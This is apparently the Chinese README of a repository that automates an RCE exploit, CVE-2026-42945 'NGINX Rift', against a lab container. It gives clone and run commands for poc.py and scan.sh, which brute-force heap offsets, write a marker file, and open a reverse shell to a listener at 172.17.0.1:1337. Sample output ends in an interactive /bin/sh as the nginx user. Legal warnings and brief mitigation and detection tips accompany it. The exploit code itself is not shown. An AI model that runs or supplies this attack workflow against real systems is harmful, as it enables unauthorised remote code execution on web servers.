用于 nginx-rift 容器 RCE 利用的 PoC 自动化驱动程序 · 目标验证 → 单命令利用 → 交互式反向 Shell
一条命令编排整个利用流程 —— 从容器检查到获取 Shell。
⚠️ 道德与法律警告 本工具仅用于合法且经授权的安全测试 —— 签约渗透测试、实验室/CTF 或自有资产。未经系统所有者许可使用属犯罪行为(UU ITE、Computer Fraud and Abuse Act 等)。使用者须对使用行为承担全部责任。
CVE-2026-42945 是 NGINX “Rift” 配置中的 远程代码执行 (RCE) 漏洞 —— 位于 ngx_http_rewrite_module 模块中的 基于堆的缓冲区溢出 漏洞,可通过特定 location 块 (/api/users/...) 触发。攻击者可借此通过容器内的 system() 处理器执行命令。
| 项目 | 详情 |
|---|---|
| CVE | CVE-2026-42945 |
| 类型 | 远程代码执行 (RCE) |
| 组件 | NGINX (ngx_http_rewrite_module) — “Rift” 配置 |
| 触发条件 | 请求易受攻击的 location 块 (/api/users/{id}) |
| 影响 | 以容器内 NGINX worker 用户身份执行任意命令 |
| 实验环境 | 容器 nginx-rift-nginx-1 — 主机端口 19321 |
本仓库包含 2 个组件:
| 文件 | 功能 |
|---|---|
poc.py | 利用驱动程序 — 暴力破解堆偏移,两种模式:--cmd(单命令)和 --shell(反向 Shell) |
scan.sh | 自动化编排器 — 目标验证、运行 PoC、结果验证及交互式 Shell 会话 |
┌─────────────────────────────┐
│ scan.sh │
│ 模式: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] 预检
检查 docker、curl、python3、
nc、timeout 及 poc.py 是否存在
▼
[1] 目标验证
docker ps(compose 标签)
→ curl /api/users/42(HTTP 200)
▼
[2] PoC --cmd(最多重试 3 次)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼(每次尝试超时 300 秒)
验证真实结果:
docker exec cat /tmp/pwned
▼
[3] PoC --shell(可选)
监听器 172.17.0.1:1337
→ 交互式 /bin/sh 提示符
操作端(运行脚本的主机):
docker(使用 sudo 或属于 docker 组的用户)python3 + poc.py(与 scan.sh 位于同一目录)curl、nc (netcat)、timeout (coreutils)目标(实验室):
nginx-rift 容器已启动(通过 docker compose 部署)19321 在 127.0.0.1 上开放172.17.0.1)# 1. 克隆
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. 确保可执行权限
chmod +x scan.sh
# 3. (可选)验证依赖
command -v docker python3 curl nc timeout
scan.sh 和 poc.py 必须位于同一目录。
./scan.sh # 完整流程(默认: auto)
./scan.sh cmd # 仅执行单命令 PoC + 标记验证
./scan.sh shell # 直接进入交互式反向 Shell
./scan.sh help # 显示帮助
auto 模式(默认)--cmd — 在容器内将标记 hello from depthfirst 写入 /tmp/pwned(自动重试最多 3 次,每次超时 300 秒)。docker exec cat /tmp/pwned 必须包含该标记(真实结果,而非仅读取输出)。y 进入交互式会话。shell 模式./scan.sh shell
运行 poc.py --shell,监听器为 172.17.0.1:1337。暴力破解成功后,你将获得容器内以 NGINX worker 用户身份运行的交互式 /bin/sh 提示符。
注意: IP
172.17.0.1是 Docker 默认桥接网络上主机的地址。如果你的桥接网络不同(docker network inspect bridge),请修改scan.sh顶部的LISTEN_IP变量。
所有参数集中在 scan.sh 顶部的配置块中:
| 变量 | 默认值 | 功能 |
|---|---|---|
DOCKER | sudo docker | 若用户已在 docker 组中,可改为 docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | 容器识别过滤条件 |
CONTAINER | nginx-rift-nginx-1 | 目标容器名称 |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | 目标地址 |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | 反向 Shell 监听器 |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | 执行验证 |
CMD_TIMEOUT | 300 | 每次尝试的超时时间(秒) |
MAX_ATTEMPTS | 3 | PoC --cmd 的重试次数 |
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC 自动化驱动程序 │
└──────────────────────────────────────────────────────────────┘
── 0 ── 预检
[+] 所有依赖均可用(docker、curl、python3、nc、timeout、poc.py)
── 1 ── 容器与目标验证
[+] 容器 'nginx-rift-nginx-1' 正在运行
[+] 目标响应正常(HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── 单命令 PoC (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] 目标 : 127.0.0.1:19321
[!] 尝试 1/3 — 暴力破解循环运行中(超时 300 秒)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] 尝试 1 在 42 秒内完成(rc=0)
[+] 利用成功 — 标记已验证: 'hello from depthfirst'(属于 root)
[?] 是否继续交互式反向 Shell? [y/N]: y
── 3 ── 反向 Shell PoC (--shell)
[i] 反向 Shell 将连接到 172.17.0.1:1337
[i] poc.py 打开本地 netcat 监听器,然后运行暴力破解
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
| 问题 | 解决方法 |
|---|---|
Container ... tidak berjalan | cd <项目目录> && sudo docker compose up -d,然后重试 |
HTTP 000 / connection refused | 端口 19321 尚未就绪 — 等待几秒,检查 docker ps |
File 'poc.py' tidak ditemukan | 从仓库目录运行 scan.sh(poc.py 必须在同一目录) |
PoC --cmd 持续失败(3 次) | 提高 MAX_ATTEMPTS / CMD_TIMEOUT;确保内核和 NGINX 版本与实验环境一致 |
| 反向 Shell 无法连接 | 检查 LISTEN_IP 是否与桥接网络一致(docker network inspect bridge);确保端口 1337 未被占用 |
错误 unrecognized arguments | 确保 poc.py 版本支持 --listen-ip/--listen-port 标志(参见 python3 poc.py -h) |
ngx_http_rewrite_module 的版本 / 移除 Rift 配置。0.0.0.0;使用内部网络 + 带 WAF 的反向代理。--privileged 启动容器。/api/users/ 的异常请求(非数字模式、超长 payload)发出告警,检测从 nginx 进程派生的 /bin/sh。CVE-2026-42945_NginxRift/
├── scan.sh # 自动化编排器 (bash) — 验证、PoC、标记验证、Shell
├── poc.py # 利用驱动程序 (python) — 暴力破解堆偏移,--cmd / --shell 模式
└── README.md # 本文档
仅供合法使用。 本工具适用于:
在对任何基础设施运行本工具之前,你必须获得系统所有者的书面授权。
本仓库按“原样”提供,不附任何担保。贡献者不对滥用行为承担任何责任。
许可证: MIT